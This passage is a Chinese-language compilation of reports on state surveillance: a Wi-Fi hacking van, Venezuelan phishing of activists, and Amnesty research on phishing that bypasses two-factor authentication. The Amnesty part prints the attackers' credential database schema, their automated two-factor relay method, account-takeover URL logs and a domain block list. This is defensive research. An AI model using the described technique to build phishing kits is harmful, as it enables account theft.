在听到关于中央情报局的 Intellipedia 休假的“好评如潮”后，NSA也计划采取这种方法培训员工；CIA 的 Intellipedia “开拓者”之一向NSA分析师介绍了该平台。

2014年1月28日，Intellipedia 的绝密版本拥有255402个用户和113379个页面；秘密版本有214801个用户和107349页；根据美国国家安全局对“信息自由法案”要求的回应，未被列为秘密的版本有127294个用户和48274页。

作为针对硬件供应链的网络攻击调查的一部分，The Intercept 发布了多个绝密的 Intellipedia 维基页面。其中包括 “Air-Gapped Network Threats” 页面，“BIOS Threats”页面和“Supply Chain Cyber Threats”页面。

SIDtoday 的消息显示，Intellipedia 与其他两个工具一起被引入，以将机密信息带入互联网时代：连接NSA、CIA和其他情报机构的机密即时通讯系统，以及“与他人分享知识和观点的博客平台”。〇

MELTDOWN SHOWED EXTENT OF NSA SURVEILLANCE — AND OTHER TALES FROM HUNDREDS OF INTELLIGENCE DOCUMENTS

原文

“零日漏洞”针对全民间谍行为更加肆无忌惮：新型监视车出台，五百米开往能入侵任何设备 - iyouport

政府的间谍行为

【2018年6月1日存档】世界上已经有一些很先进的间谍机构具备开发高度侵入性监视技术的能力，这些监视机构已经在全球范围内建立了数百家这类监视技术公司，这些公司主要由前间谍组成。监视更多针对的是人权活动家和记者们，而不是抓捕罪犯。这并不奇怪 – 专制主义正在世界各地崛起，监管法律普遍不足。法治本身在全球面临挑战。

一家总部位于塞浦路斯的监控公司称已经建造了一辆满载新一代探听套件的汽车，它可以在距离 **500** 米远的地方感染任何 **Apple** 和 **Google** 手机。

WiSpear 由以色列全球监控市场的长期玩家之一 Tal Dilian 创立，目前售价在 350 万美元至 500 万美元之间，并声称已经获得了很多买家的兴趣。隐私社区对此高度关注。

SpearHead 360 汽车使用 24 根天线以接触目标设备。一旦选定了目标手机，WiSpear 汽车有四种不同的方式来强制手机连接到基于 Wi-Fi 的拦截器，从而可以在设备上开始窥探（使用中间人攻击）。根据 Dilian 的说法，针对四种主流操作系统该监视工具有四种不同的恶意软件，针对包括 **Apple** 的 **iOS** 或 **Google** 的 **Android** 设备。

该监视技术还声称可以访问一系列未被公开的 Android 和 iOS 漏洞（称为零日漏洞，这里的链接是更多解释），这是任何成功的骇客入侵谷歌和苹果操作系统所必需的。

他们还说，这种汽车可以同时用来破解电脑; 不论坐在咖啡店里上网的目标人使用的是 **Mac**，**Android** 还是 **Windows**，都可以被立即感

染。

WiSpear 本月在 ISS World 和 Eurosatory conferences 会议上展示了这辆用于监控的面包车。正如下面的视频所示，警方可以大模大样地带无人机和背包进入车内，进行更多的移动监控。根据 Dilian 的说法，这种装满监视工具的背包单价可能高达 120 万美元。

谈到有效距离时，Dilian 说，虽然他的测试队伍已经成功地进行了 **1000** 米开外实施的攻击，但他告诉客户在真实世界中不要超过 500 米。至于该公司开发的 Wi-Fi 攻击，Dilian 表示，四种可用的恶意软件中的两种使用中间人攻击技术，这些技术从未公开披露，并利用 Wi-Fi 协议中的弱点，从而能使攻击特别有力。

由于该技术本月才刚发布，迄今为止尚未获取 SpearHead 360 订单的任何消息。但是，在与当前客户交谈后，Dilian 认为，今年内至少能卖出 2 到 4 台。

对美国人来说太贵了？

也许并不是每个政府都相信自己需要这样一个猖獗的间谍骑士。安全公司 Red Mesa 的创始人 Drew Porter 说，他不会向执法部门的客户推荐这种车子，部分原因是成本。“只有少数几个警察部门或许可以考虑在美国买这些东西，它有点贵……这对于有关隐私问题或许是件好事，”他告诉 Forbes。

Porter 认为这种车子对于真正的秘密监视来说太显眼了。他解释说：“这并不是对他们的产品的抨击，我相信这种产品对于预期的目标来说非常有效，只是对于我的偏好来说，设备安装的太大（比如面包车的大小）我的许多客户都会有相同的感觉。”

他还说他觉得不能推荐利用零日漏洞做攻击的产品。“我很难说出它的真实价值，”他补充道。

这种说法实在太装了。**Wikileaks** 两年前就发布过 **CIA** 广泛使用的黑客工具的细节 —— 针对**Windows**，**Android**，**iOS**，**OSX**和 **Linux** 计算机系统以及联网路由器的恶意软件。利用的就是零日漏洞。

揭秘资料显示，中央情报局中一个专门单位的工作就是瞄准 iPhone 和 iPad，允许该机构看到目标对象的地理位置、激活他们的设备的摄像头和麦克风，并阅读文字通信。该部门还利用 GCHQ，NSA 和 FBI 获得的进一步 iOS “零日漏洞”。

那是日期为 2014 年 6 月的文件，说明情报机构至少在四年前已经开始利用零日漏洞做攻击了。

Forbes 的报道说，即使 WiSpear 也不能完全控制面包车监视系统使用的所有代码。间谍软件类型（或 Dilian 称之为“Trojans”的东西）来自四个不同的供应商。 Dilian 没有说出这些合作伙伴的名字，但表示任何恶意软件制造商都可以加入，包括 **NSO** 集团。

众所周知，NSO 集团的工具已经被发现被政府利用来打压异议人士。近五年内全球曝光的所有大规模监视中两个国家政府实施的监视入侵手段格外突出，一个就是美国，另一个是墨西哥。墨西哥政府使用的入侵异议人士电子设备的技术就是 NSO 集团 提供的 Pegasus 间谍软件。

注意：报道说 **Dilian** 已经与 **NSO** 建立了合作关系，他以 **1.3** 亿美元的价格将他的旧智能手机监控公司 **Circles** 卖给了购买 **NSO** 的同一家私募股权公司 **Francisco Partners**。他们现在已经合并组建了 Q Cyber Technologies，尽管最近有报道称 NSO 集团正在与监控巨头 Verint 就价值 10 亿美元的交易进行谈判。

隐私焦虑

无论 SpearHead 360 的局限性如何，隐私权活动家都对这种强大的监视技术的潜力格外担忧。

隐私国际组织国家监督计划负责人 Edin Omanovic 说，虽然监视供应商经常夸大他们有什么功能，但这种使用零日漏洞的技术是非常值得警惕的。这种漏洞被发现的是为了立即提供了供应商，以进行修补，保护用户的安全，然而它现在居然回避供应商，直接卖给了监视技术公司，用来破坏人们的隐私。

“骇客行为的监视技术利用数百万人可能使用的系统和服务的弱点。在促进网络安全成为全球优先考虑事项的时代里，政府不能允许这种行为发生“，Omanovic说。“关心技术漏洞和网络攻击的政府当局应该尽一切努力使设备和网络更安全，而不是更危险。”

“世界上已经有一些很先进的间谍机构具备开发高度侵入性监视技术的能力，这些监视机构已经在全球范围内建立了数百家这类监视技术公司，这些公司主要由前间谍组成。显然这对他们自己有好处，因为他们可以赚钱，但是在全球范围内我们已经看到，监视更多针对的是人权活动家和记者们，而不是抓捕罪犯”。

“这并不奇怪 – 专制主义正在世界各地崛起，监管法律普遍不足。法治本身在全球面临挑战。”〇

原文

[video] 官渔之惧 - iYouPort

政府的间谍行为

每当人们说起网络钓鱼的时候总会想到攻击者、骇客，但政府亲自实施的网络钓鱼以骗取反对派的用户名和密码这种事，也是存在的，它发生在哪里？

据安全研究人员称，为陷入困境的委内瑞拉政府工作的骇客试图通过网络钓鱼诱骗活动人士泄漏密码，涉及 Gmail，Facebook，Twitter 等平台。

志愿者的工作主要围绕在网站 voluntariosxvenezuela.com 上进行。一周后，在2月11日，有人注册了一个几乎完全相同的域名，voluntariosvenezuela [.] com。根据安全公司卡巴斯基实验室以及推特上的委内瑞拉用户的说法，在委内瑞拉试图访问原始官方 VoluntariosxVenezuela 网站的用户被重定向到了新的钓鱼网站。

在这里看到视频：

在研究虚假网站时，研究人员发现网络钓鱼网站托管在同一个IP地址上，根据安全公司 CrowdStrike 和独立研究人员的说法，有证据表明，第二个显然是虚假和恶意的网站背后的人正在为马杜罗政府工作。

“这显然是委内瑞拉政府的工作，试图找出反对他们的人，以便可以制止反对者，”负责分析袭击的公司 CrowdStrike 的情报副总裁 Adam Meyers 说。

根据 PassiveTotal 和其他互联网监控服务收集的公共数据，虚假网站的IP地址托管了几个旨在骗取用户名和密码的域名，攻击目标包括 Gmail，Facebook，Instagram，Microsoft Live，Linkedin 和 Apple 的 iCloud 以及其他网站。

根据主板查看的 WHOIS 记录，钓鱼网站均在委内瑞拉国家顶级域名.ve注册，该域名由委内瑞拉政府电信管理局的 CONATEL 控制。

「图」

「图」

追踪袭击事件的当地黑客行动者何塞—路易斯·里瓦斯（Jose-Luis Rivas）表示，假冒网站上有一个表格可以登记个人数据，如姓名，电子邮件，手机和位置。“这就是他们追求的目标。确定谁是反对者，对其任意拘留”。

Facebook，Apple，微软和 Twitter 都没有回复评论请求。承载服务器和攻击中使用的IP地址的公司 DigitalOcean 表示，在确定“这违反了我们的服务条款”后它已被关闭。谷歌表示，它将警告用户有关网络钓鱼域名的信息。

Meyers 表示，他们没有足够的数据来了解网络钓鱼活动的效果。但是，鉴于 Guaido 最近表示已有近10万人签署帮助提供援助，可能已经有至少数百人成为了攻击目标。

Rivas 说，委内瑞拉的 VoluntariosxVenezuela 访客被国家控制的 ISP CANTV 重定向到虚假网站，后者正在操纵域名系统或 DNS。委内瑞拉的其他技术专家和互联网用户也报告了相同的调查结果。

Venezuela’s Government Appears To Be Trying to Hack Activists With Phishing Pages. Security researchers and activists exposed a brazen attempt to steal Venezuelan usernames and passwords for popular email and social media websites such as Gmail, Facebook, Microsoft Live, and Twitter.

原文

⚠ 大型网络钓鱼攻击活动专门针对注重隐私的用户，成功绕过双因素身份验证 - iYouPort

政府的间谍行为自我保护措施-技术技巧以防身

国际特赦组织确定了几项凭证网络钓鱼攻击，可能由同一攻击者运营，针对中东和北非；攻击者特别关注流行的自我描述为“安全电子邮件”的服务，如 **Tutanota** 和 **ProtonMail**；在另一项活动中，攻击者一直瞄准数百个谷歌和雅虎帐户，并成功绕过了双因素身份验证

「图」

「图」

在用于监视目标的工具和战术库中，网络钓鱼仍然是影响全世界公民社会的最常见和最阴险的攻击形式之一。越来越多的人权维护者（HRD）已经意识到这些威胁。许多人已采取措施提高他们对这种战术的适应能力。这些通常包括使用更安全、尊重隐私的电子邮件，或在其在线帐户上启用双因素身份验证。但是……

——什么是网络钓鱼？—— 凭证网络钓鱼包括创建一个模仿特定在线服务（如 Gmail 或 Facebook）的登录提示的网站，目的是诱使受害者访问恶意页面并输入其用户名和密码，从而将这些凭据传输给攻击者。

「图」

「图」

这是模仿 Facebook 的网络钓鱼站点示例

但是，攻击者也会学习并调适他们针对 HRD 的方式。该报告记录了大赦国际认为由同一攻击者执行的两次网络钓鱼活动，这些攻击者可能来自海湾国家。这些广泛的运动针对整个中东和北非地区许多国家

的数百人，人权维护者、政治行动者和其他人。这些案例值得全球警惕。

这些活动特别令人不安的原因在于它们破坏目标的数字安全策略的时间长度。例如，第一个攻击案例中利用特别精心制作的虚假网站，旨在模仿著名的“安全电子邮件”提供商。更令人担忧的是，第二个案例显示了攻击者如何轻易地击败某些形式的双因素身份验证来窃取凭据，获取并控制对受害者帐户的访问权限。事实上调查已表明，许多攻击团体正在开发这种能力。

总的来说，这些研究旨在提醒人们，网络钓鱼是一种紧迫的威胁，需要为人权维护者提供更多关于适当对策的帮助，以提升防备意识。

「文末见 **IYP** 社交工程攻击演示系列」

仿冒“安全电子邮件”提供商的网络钓鱼站点

国际特赦组织已经发现了为流行的电子邮件服务 Tutanota 和 ProtonMail 确定的几个精心设计的钓鱼网站。这些提供商被称为“安全电子邮件”解决方案，因此在活动家中已获得了一些吸引力。

这些伪造网站包含几个特征，使其更难以被识别为假。例如，攻击者设法获得域名tutanota.org并使用它几乎完全复制 Tutanota 服务的原始网站，该服务实际上位于 tutanota.com。

「图」

「图」

⚠ 许多用户理所当然地认为在线品牌服务肯定是 .com，.org 和 .net 的域名。如果攻击者设法获得其中一个变种，他们就有机会使虚假网站显得更加真实。

⚠ 并且，请注意，这些假网站也使用传输加密（ https：前缀，而不是未加密的*http*：）。这使得浏览器地址栏左侧的公认挂锁成为可能，用户多年来经常被教导在试图辨别合法站点和恶意站点时查找那个锁，事实上现在这不管用了。

这些特征以及原始网站几乎无法区分的克隆细节，使得这个网站成为一个看起来非常可靠的网络钓鱼网站，即使对于技术更为精通的人来说也可能难以识别。

如果受害者被诱骗执行登录此钓鱼站点，他们的凭据就会被存储，然后将在原始的 Tutanota 站点启动有效的登录程序，使目标无法发现任何可疑的状况。

「图」

「图」

这些攻击者也在运行位于 protonemail. ch 的假 ProtonMail 网络钓鱼网站（这是另一种流行的安全网上电子邮件服务），你能看到吧，它拼写错误，其中多了一个字母“e”，结果就是将这个精心打造的副本与原始有效网站 protonmail.ch 区分开来了。

「图」

「图」

单击“登录”按钮将指示受害者进入虚假登录提示。

「图」

「图」

当然，编辑和提交登录表单会导致帐户的凭据被攻击者窃取。

针对谷歌和雅虎用户的广泛网络钓鱼

在整个 2017 年和 2018 年期间，来自中东和北非地区的人权维护者和记者一直在与我们分享他们收到的可疑电子邮件。通过调查这些电子邮件，我们发现了大规模且长期存在的有针对性的网络钓鱼攻击活动，目标有数百人，总体上可能超过一千人。大多数目标似乎来自阿联酋，也门，埃及和巴勒斯坦，都是活动家。

值得注意的是，我们发现此活动与加州大学伯克利分校研究员 Bill Marczak 的技术报告第2.4.2节中描述的一些攻击直接相关，他建议研究与针对阿联酋持不同政见者的其他针对性监视活动进行各种重叠。

调查使我们进一步得出结论，此活动可能源于同一攻击者或组织，也就是克隆了 Tutanota 和 ProtonMail 网站的那群人。与之前的活动一样，这种有针对性的网络钓鱼攻击采用了非常精心设计的商业网站克隆：谷歌和雅虎。但是，与上述不同，这种有针对性的网上诱骗还旨在打败目标可能用于保护其帐户的最常见形式：双因素身份验证。

最后，我们已经确定并且正在调查一系列似乎与这些网络钓鱼活动相关的恶意软件攻击。这将是即将发布的报告的主题。

虚假安全警报

在其他攻击活动中，例如在 Kingphish 操作报告中，我们看到攻击者创建了良好的在线角色，以获得目标的信任，之后使用更多狡猾的网络钓鱼电子邮件，这些电子邮件似乎可以在 Google 云硬盘上编辑文档或参与 Google 环聊通话。

这是一些并没有那么复杂的社交工程攻击技术。大多数情况下，这个攻击者使用了常见的“安全警报”方案，该方案使用错误地警告目标，并提供潜在帐户泄露的虚假通知。这种方法利用了人们的恐惧、并灌输了一种紧迫感，以便以立即需要更改密码以保护其帐户为借口，来征求登录信息。由于人权维护者们必须始终保持对个人和数字安全的警惕，这种社交工程攻击方案可以说非常高效。

以下是此攻击者发送的网络钓鱼电子邮件的一个示例。

「图」

「图」

下面是另一个攻击，使用了同样的社交工程伎俩。

「图」

「图」

点击这些恶意电子邮件中包含的链接和按钮，就可以将受害者引入精心设计且令人信服的 Google 钓鱼网站。这些攻击者经常并定期创建新站点并轮换其基础架构，以避免被域名注册商和托管服务提供商发现，以减少意外关闭造成的损害。您可以在此报告的底部找到我们已识别出的所有恶意域名的列表。

「图」

「图」

虽然不如冒充谷歌的攻击更常见，但我们也观察到了针对雅虎用户的网络钓鱼攻击。

「图」

「图」

网络钓鱼攻击如何工作？

为了验证我们发现的仿冒网页的功能，我们决定创建一个可支配的 Google 帐户。我们选择了一个与我们共享的网络钓鱼电子邮件，这些电子邮件假装是来自 Google 的安全警报，错误地警告受害者可疑的登录活动，并请求他们更改密码。

第一步是访问假冒页面。

「图」

「图」

当我们登录钓鱼网站时，被重定向到了另一个页面，在那里我们被警告已经通过短信向我们用于注册帐户的电话号码发送了两步验证码，由六位数组成。

「图」

「图」

果然，我们配置的电话号码确实收到了包含有效 Google 验证码的短信。在我们将凭据和两步验证码输入到诱骗页面后，我们会看到一个表单，要求我们重置帐户密码。

「图」

「图」

对于大多数用户来说，Google 提示更改密码似乎是有合理理由的，于是这个骗局看起来非常真实可信。

我们注意到密码更改实际上是由攻击者操作的 Windows 计算机发出的，似乎是连接到 Google 在美国境内的 IP 地址。

「图」

「图」

攻击者用于自动验证和修改我们的 Google 帐户的 IP 地址 196.19.3.66 实际上是未经身份验证的 Squid HTTP 代理。攻击者可以使用开放代理来模糊其网络钓鱼服务器的位置。

采取这一额外步骤的目的很可能只是为了掩盖其社会工程诱饵，因此不会引起受害者的任何怀疑。

完成最后一步后，我们被重定向到实际的 Google 页面。以完全自动化的方式，攻击者设法使用我们的密码登录我们的帐户，从我们这里获取发送到我们手机的双因素身份验证代码，并最终提示我们更改密码。到现在为止他们已成功完成了网络钓鱼攻击。

同样，我们创建了一个新的 Yahoo 帐户，并采取了双因素身份验证：

「图」

「图」

在攻击者操作的 Yahoo 网络钓鱼页面中输入我们新创建的电子邮件地址和密码后，我们首先被要求验证与我们帐户关联的电话号码。

「图」

「图」

然后我们被要求输入发送到我们手机的验证码。

「图」

「图」

实际上，我们收到了雅虎的有效验证码。

「图」

「图」

保护在线账户的挑战

找到一种安全的方式对用户进行身份验证是一个非常困难的技术问题，尽管这些年来已经取得了一些进展，增加了试图大规模破解帐户的攻击者的难度。

双因素身份验证已成为事实上的标准，几乎总是被建议作为保护在线帐户的必要步骤。启用双因素身份验证程序后，用户需要提供二次验证，通常以数字令牌的形式提供，通过短信或通过专用应用程序发送。这些令牌是短暂的，通常在30秒后到期。在其他情况下，如雅虎的情况，用户需要通过点击手机上的按钮手动允许持续的身份验证尝试。

为什么这有用？

要求使用辅助身份验证可以防止某些情况下攻击者可能获得对您的凭据的访问权限。虽然这种情况最常见于一些不成熟的网络钓鱼尝试，但它也是密码重用的有效缓解措施。您绝对应该将您的在线帐户配置为使用不同的密码（理想情况下使用密码管理器），但是如果您意外或以其他方式重复使用了一个被盗的密码（例如通过一直发生的大量数据泄露），启用双因素身份验证最有可能减少试图在尽可能多的其他在线帐户上重复使用相同密码的临时攻击者。

通常，在线服务提供三种形式的双因素身份验证：

- 软件令牌：这是最常见的形式，包括要求用户在登录表单中输入一个令牌（通常由六位数字组成，有时它包括字母），通过短信或通过专用应用程序发送给用户。
- 软件推送通知：用户通过注册时安装的应用程序在手机上收到通知。此应用程序提醒用户正在进行登录尝试，用户可以批准或阻止它。
- 硬件安全密钥：这是一种更新的双因素身份验证形式，要求用户在计算机中物理插入一个特殊的 USB 密钥才能登录到指定的网站。

虽然双因素验证推送通知通常会提供一些可能有助于提高您怀疑的附加信息（例如，尝试进行身份验证的客户的原籍国与您的不同），但是当攻击者足够复杂以采用某种程度的自动化时，大多数基于软件的方法都会失败。

正如我们在本报告中所看到的，如果受害者被欺骗为其帐户提供用户名和密码，则没有任何东西可以阻止攻击者要求提供 6 位双因素令牌、最终要验证的电话号码以及任何其他所需信息。攻击者可以在时限之内使用有效的双因素身份验证令牌和会话，成功登录并访问受害者的所有电子邮件和联系人。

不要误会，双因素身份验证非常重要，您应该确保在任何地方启用

它。然而，如果没有正确理解真正的攻击者如何解决这些对策，人们就可能会被误导相信，一旦启用就可以安全地登录任何地方。面临风险的人，首先是人权维护者，往往是网络钓鱼攻击的目标，重要的是他们必需具备正确的知识，以确保他们不会不正当地降低自己的在线谨慎程度。

「图」

「图」

这个过程一开始可能会显得痛苦，但它会大大增加攻击者成功的难度，而且并不像人们想象的那么繁琐。通常，只有在首次通过新设备进行身份验证时，才需要使用安全密钥。

安全密钥也有缺点。首先，它们仍处于采用的早期阶段：只有少数服务支持它们，大多数电子邮件客户端（如 Thunderbird）仍处于开发集成的过程中。其次，您有可能会丢失安全密钥并被锁定在帐户之外。但是，您可能会以同样的方式丢失用于其他形式的双因素身份验证的手机，在这两种情况下，您都应该按照特定的指示仔细配置恢复选项（通过打印代码或辅助密钥）。

与每项技术一样，重要的是有风险的个人能准确意识到这些安全程序中提供的机会和缺点，并确定（可能在专家的帮助下）哪种配置最适合个人需求，能应对风险水平。

攻击模式

托管 Google 和 Yahoo 钓鱼站点的服务器也错误地暴露了一些公开列出的目录，这些目录允许我们发现攻击者计划的一些细节。位于 / setup /的一个文件夹包含一个数据库 SQL 模式，攻击者可能使用该模式存储通过网络钓鱼前端获取的凭据：

—

— Database: `phishing`

—

————————————————————————————————————

—

— Table structure for table `attempts`

—

CREATE TABLE `attempts` (

`id` int(11) AUTO_INCREMENT primary key NOT NULL,

`attempts` text,

`status` varchar(255) DEFAULT NULL,

`timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,

`sid` varchar(255) DEFAULT NULL,

`information` text,

`seen` tinyint(1) DEFAULT NULL

) ENGINE=InnoDB DEFAULT CHARSET=latin1;

—

— Table structure for table `creds`

—

CREATE TABLE `creds` (

`id` int(11) AUTO_INCREMENT primary key NOT NULL,

`credentials` text,

`status` varchar(255) DEFAULT NULL,

`timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,

`sid` varchar(255) DEFAULT NULL,

`information` text,

seen tinyint(1) DEFAULT NULL

) ENGINE＝InnoDB DEFAULT CHARSET＝latin1;

位于 / bin /的文件夹包含 Selenium 与 Chrome 驱动程序的安装，Chrome 驱动程序是一组常用于自动测试 Web 应用程序的工具。Selenium 允许编写和启动浏览器（在本例中为 Google Chrome），并使其自动访问任何网站并执行页面中的某些活动（例如单击按钮）。

虽然最初的目的是简化 Web 开发人员的质量保证流程，但它也完全有助于自动登录合法网站并简化网络钓鱼攻击。特别是，这使攻击者可以轻松地击败基于软件的双因素身份验证。

「图」

「图」

另一个名为/ profiles /的文件夹包含由每个衍生的谷歌 Chrome 实例生成的数百个文件夹，通过 Selenium 自动解释。

「图」

「图」

由于攻击者操作的衍生 Google Chrome 实例生成的所有个人资料文件夹都向公众公开，通过检查浏览器通常用于存储浏览历史记录的数据库，我们实际上可以看到帐户如何受到损害。

「图」

「图」

通过我们可以访问的许多 Chrome 文件夹，我们确定了两种明确的妥协模式。

第一种模式，最常见的是以下按时间顺序列出的网址列表：#https://mail.yahoo.com/

- https://guce.yahoo.com/consent?brandType＝nonEu&gcrumb＝[REDACTED]&done＝https%3A%2F%2Fmail.yahoo.com%2F

- https://login.yahoo.com/?done=https%3A%2F%2Fmail.yahoo.com%2F
- https://login.yahoo.com/account/challenge/push?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=primary&display=login&yid=&acrumb=[REDACTED]]
- https://login.yahoo.com/account/challenge/phone-obfuscation?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=primary&display=login&yid=&eid=3640
- https://login.yahoo.com/account/challenge/phone-verify?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=primary&display=login&yid=
- https://login.yahoo.com/account/challenge/pre-change-password?done=https%3A%2F%2Fguce.yahoo.com%2Fconsent%3Fgcrumb%3D[REDACTED]%26trapType%3Dlogin%26done%3Dhttps%253A%252F%252Fmail.yahoo.com%252F%26intl%3D%26lang%3D&authMechanism=prima$
- https://login.yahoo.com/account/security/app-passwords/list
- https://login.yahoo.com/?done=https%3A%2F%2Flogin.yahoo.com%2Faccount%2Fsecurity%2Fapp-passwords%2Flist%3F.scrumb%3D0
- https://login.yahoo.com/account/security/app-passwords/list?.scrumb=[REDACTED]]
- https://login.yahoo.com/account/security/app-passwords/add?scrumb=[REDACTED]]

1. https://mail.yahoo.com/

- https://guce.yahoo.com/consent?brandType=nonEu&gcrumb=[REDACTED]&done=https%3A%2F%2Fmail.yahoo.com%2F
- https://login.yahoo.com/?done=https%3A%2F%2Fmail.yahoo.com%2F
- https://login.yahoo.com/account/challenge/password?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=primary&display=narrow&yic
&acrumb=[REDACTED]]
- https://login.yahoo.com/account/challenge/phone-

obfuscation?done=https%3A%2F%2Fmail.yahoo.com
%2F&authMechanism=primary&display=narrow&yic
&eid=3650

- https://login.yahoo.com/account/challenge/phone-verify?
done=https%3A%2F%2Fmail.yahoo.com
%2F&authMechanism=primary&display=narrow&yic
- https://login.yahoo.com/account/yak-opt-in/upsell?
done=https%3A%2F%2Fguce.yahoo.com%2Fconsent
%3Fgcrumb%3D[REDACTED]%26trapType%3Dlogin
%26done%3Dhttps%253A%252F%252Fmail.yahoo.com
%252F%26intl%3D%26lang
%3D&authMechanism=primary&display=n$
- https://guce.yahoo.com/consent?
brandType=nonEu&gcrumb=[REDACTED]&done=https
%3A%2F%2Fmail.yahoo.com%2F
- https://mail.yahoo.com/m/
- https://mg.mail.yahoo.com/neo/m/launch?
- https://mg.mail.yahoo.com/m/
- https://mg.mail.yahoo.com/m/folders/1
- http://www.gmail.com/
- https://www.gmail.com/
- https://www.google.com/gmail/
- https://mail.google.com/mail/
- https://accounts.google.com/ServiceLogin?
service=mail&passive=true&rm=false&continue=ht
mail.google.com/mail/
&ss=1&scc=1&ltmpl=default&ltmplcache=2&a
- https://mail.google.com/intl/en/mail/help/about.html#
- https://www.google.com/intl/en/mail/help/about.html#
- https://www.google.com/gmail/about/#
- https://accounts.google.com/AccountChooser?
service=mail&continue=https://mail.google.com/mail/
- https://accounts.google.com/ServiceLogin?continue=https
%3A%2F%2Fmail.google.com%2Fmail
%2F&service=mail&sacu=1&rip=1
- https://accounts.google.com/signin/v2/identifier?
continue=https%3A%2F%2Fmail.google.com%2Fmail
%2F&service=mail&sacu=1&rip=1&flowName
- https://accounts.google.com/signin/v2/sl/pwd?
continue=https%3A%2F%2Fmail.google.com%2Fmail

%2F&service=mail&sacu=1&rip=1&flowName=
- https://accounts.google.com/CheckCookie?hl=en&checkedDomains=youtube&checkConnection=you%3A375%3A1&pstMsg=1&chtml=LoginDoneHtml&s%3A%2F%2Fmail.google.com%2Fmail%2F&gidl=[REDACTED]]
- https://mail.google.com/accounts/SetOSID?authuser=0&continue=https%3A%2F%2Fmail.google.com%2Fmail%2F%3Fauth%3D[REDACTED]]
- https://mail.google.com/mail/?auth=[REDACTED]].
- https://mail.google.com/mail/u/0/
- https://mail.google.com/mail/u/0/#inbox
- https://mail.google.com/mail/u/0/#settings/general
- https://mail.google.com/mail/u/0/#settings/accounts
- https://mail.google.com/mail/u/0/?ui=2&ik=[REDACTED]&jsver=OeNArYUPo4g.en.&v
- https://api.shuttlecloud.com/gmailv2/authenticate/oauth/[REDACTED]%40yahoo.com?ik=[REDACTED]&email=[REDACTED]@yahoo.com&user
- https://api.login.yahoo.com/oauth2/request_auth?client_id=[REDACTED]&redirect_uri=https%3A//api.shuttlecloud.com/gmailv2/authenticate/oauth/c$
- https://api.login.yahoo.com/oauth2/authorize
- https://api.shuttlecloud.com/gmailv2/authenticate/oauth/callback?email=[REDACTED]&code=[REDACTED]]
- https://mail.google.com/mail/u/0/?token_id=[REDACTED]&ik=[REDACTED]&ui=2&em

在这个相当长的 URL 列表中，我们可以看到他们设计了该系统，尝试使用被盗凭证登录 Yahoo 并请求完成双因素验证过程。一旦身份验证完成，网络钓鱼后端将自动将受感染的 Yahoo 帐户连接到名为 ShuttleCloud 的合法帐户迁移服务，该服务允许攻击者在其控制下的单独 Gmail 帐户下自动立即生成受害者 Yahoo 帐户的完整克隆。

在发生此类恶意帐户迁移后，攻击者可以利用 Gmail 提供的全面功能轻松搜索和阅读从受害者处窃取的所有电子邮件。

——已识别出的所有恶意域名的列表——

tutanota[.]org

protonemail[.]ch

accounts-mysecure[.]com

accounts-mysecures[.]com

accounts-secuirty[.]com

accounts-securtiy[.]com

accounts-servicse[.]com

accounts-settings[.]com

account-facebook[.]com

account-mysecure[.]com

account-privacy[.]com

account-privcay[.]com

account-servics[.]com

account-servicse[.]com

alert-newmail02[.]pro

applications-secure[.]com

applications-security[.]com

application-secure[.]com

authorize-myaccount[.]com

blu142-live[.]com

blu160-live[.]com

blu162-live[.]com

blu165-live[.]com

blu167-live[.]com

blu175-live[.]com

blu176-live[.]com

blu178-live[.]com

blu179-live[.]com

blu187-live[.]com

browsering-check[.]com

browsering-checked[.]com

browsers-checked[.]com

browsers-secure[.]com

browsers-secures[.]com

browser-checked[.]com

browser-secures[.]com

bul174-live[.]com

checking-browser[.]com

check-activities[.]com

check-browser[.]com

check-browsering[.]com

check-browsers[.]com

connected-myaccount[.]com

connect-myaccount[.]com

data-center17[.]website

documents-view[.]com

documents-viewer[.]com

document-viewer[.]com

go2myprofile[.]info

go2profiles[.]info

googledriveservice[.]com

gotolinks[.]top

goto-newmail01[.]pro

idmsa-login[.]com

inbox01-email[.]pro

inbox01-gomail[.]com

inbox01-mails[.]icu

inbox01-mails[.]pro

inbox02-accounts[.]pro

inbox02-mails[.]icu

inbox02-mails[.]pro

inbox03-accounts[.]pro

inbox03-mails[.]icu

inbox03-mails[.]pro

inbox04-accounts[.]pro

inbox04-mails[.]icu

inbox04-mails[.]pro

inbox05-accounts[.]pro

inbox05-mails[.]icu

inbox05-mails[.]pro

inbox06-accounts[.]pro

inbox06-mails[.]pro

inbox07-accounts[.]pro

inbox101-account[.]com

inbox101-accounts[.]com

inbox101-accounts[.]info

inbox101-accounts[.]pro

inbox101-live[.]com

inbox102-account[.]com

inbox102-live[.]com

inbox102-mail[.]pro

inbox103-account[.]com

Inbox103-mail[.]pro

inbox104-accounts[.]pro

inbox105-accounts[.]pro

inbox106-accounts[.]pro

Inbox107-accounts[.]pro

inbox108-accounts[.]pro

inbox109-accounts[.]pro

inbox169-live[.]com

inbox171-live[.]com

inbox171-live[.]pro

inbox172-live[.]com

inbox173-live[.]com

inbox174-live[.]com

inbox-live[.]com

inbox-mail01[.]pro

inbox-mail02[.]pro

inbox-myaccount[.]com

mail01-inbox[.]pro

mail02-inbox[.]com

mail02-inbox[.]pro

mail03-inbox[.]com

mail03-inbox[.]pro

mail04-inbox[.]com

mail04-inbox[.]pro

mail05-inbox[.]pro

mail06-inbox[.]pro

mail07-inbox[.]pro

mail08-inbox[.]pro

mail09-inbox[.]pro

mail10-inbox[.]pro

mail12-inbox[.]pro

mail13-inbox[.]pro

mail14-inbox[.]pro

mail15-inbox[.]pro

mail16-inbox[.]pro

mail17-inbox[.]pro

mail18-inbox[.]pro

mail19-inbox[.]pro

mail20-inbox[.]pro

mail21-inbox[.]pro

mail101-inbox[.]com

mail101-inbox[.]pro

mail103-inbox[.]com

mail103-inbox[.]pro

mail104-inbox[.]com

mail104-inbox[.]pro

mail105-inbox[.]com

mail105-inbox[.]pro

mail106-inbox[.]pro

mail107-inbox[.]pro

mail108-inbox[.]pro

mail109-inbox[.]pro

mail110-inbox[.]pro

mail201-inbox[.]pro

mail-inbox[.]pro

mailings-noreply[.]pro

myaccountes-setting[.]com

myaccountes-settings[.]com

myaccountsetup[.]live

myaccounts-login[.]com

myaccounts-profile[.]com

myaccounts-secuirty[.]com

